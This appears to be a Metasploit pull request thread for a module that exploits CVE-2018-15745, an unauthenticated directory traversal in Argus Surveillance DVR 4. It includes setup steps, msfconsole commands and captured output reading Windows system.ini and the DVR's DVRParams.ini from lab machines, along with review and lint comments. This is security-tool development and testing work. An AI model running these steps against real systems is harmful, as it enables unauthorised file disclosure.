Argus LFI Auxiliary Module with Associated Doc (CVE-2018-15745)

[TheBigStonk]

This module leverages an issue with how the RESULTPAGE parameter within WEBACCCOUNT.cgi handles file referencing and as a result is vulnerable to Local File Inclusion (LFI).

Options

To successfully read contents of the Windows file system you must set the full file path of the file you want to check using TARGET_FILE (not including the drive letter prefix).
As a first run it is recommended to try leaking Windows/system.ini as a validation exercise on your first module run.

Testing

To setup a test environment, the following steps can be performed:

1. Set up a Windows operating system (any OS that has C:\Windows\system.ini)
2. Download the Argus DVR 4 Software
3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP
4. On your attacker machine follow the verification steps below.

Verification Steps

1. start msfconsole
2. use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745
3. set RHOSTS <TARGET_IP_ADDRESS>
4. set TARGET_FILE Windows/system.ini
5. run

Scenarios

Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini

msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745 
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15
RHOSTS => 192.168.1.15
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
[*] Running module against 192.168.1.15
[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini
[+] File retrieved successfully!
[Main]
ServerName=
ServerLocation=
ServerDescription=
ReadH=0
UseDialUp=0
DialUpConName=
DialUpDisconnectWhenDone=0
DIALUPUSEDEFAULTS" checked checked

[*] Auxiliary module execution completed

[jheysel-r7]

Thanks for the module @TheBigStonk. A couple minor comments with regard to the metadata but other than that it looks good.

Testing Windows 11

msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set rhosts 172.16.199.131
rhosts => 172.16.199.131
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
[*] Running module against 172.16.199.131
[*] Sending request to 172.16.199.131:8080 for file: Windows/system.ini
[+] File retrieved successfully!
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


[*] Auxiliary module execution completed

[github-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[TheBigStonk]

@cgranleese-r7 @jheysel-r7 thanks team. Should be everything fixed up from the comments

[jheysel-r7]

Final testing 👍

msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set rhosts 172.16.199.131
rhosts => 172.16.199.131
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
[*] Running module against 172.16.199.131
[*] Sending request to 172.16.199.131:8080 for file: Windows/system.ini
[+] File retrieved successfully!
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]


[*] Auxiliary module execution completed

[jheysel-r7]

Release Notes

Adds a module which exploits CVE-2018-15745, an unauthenticated directory traversal leading to file disclosure in Argus Surveillance DVR 4.0.0.0.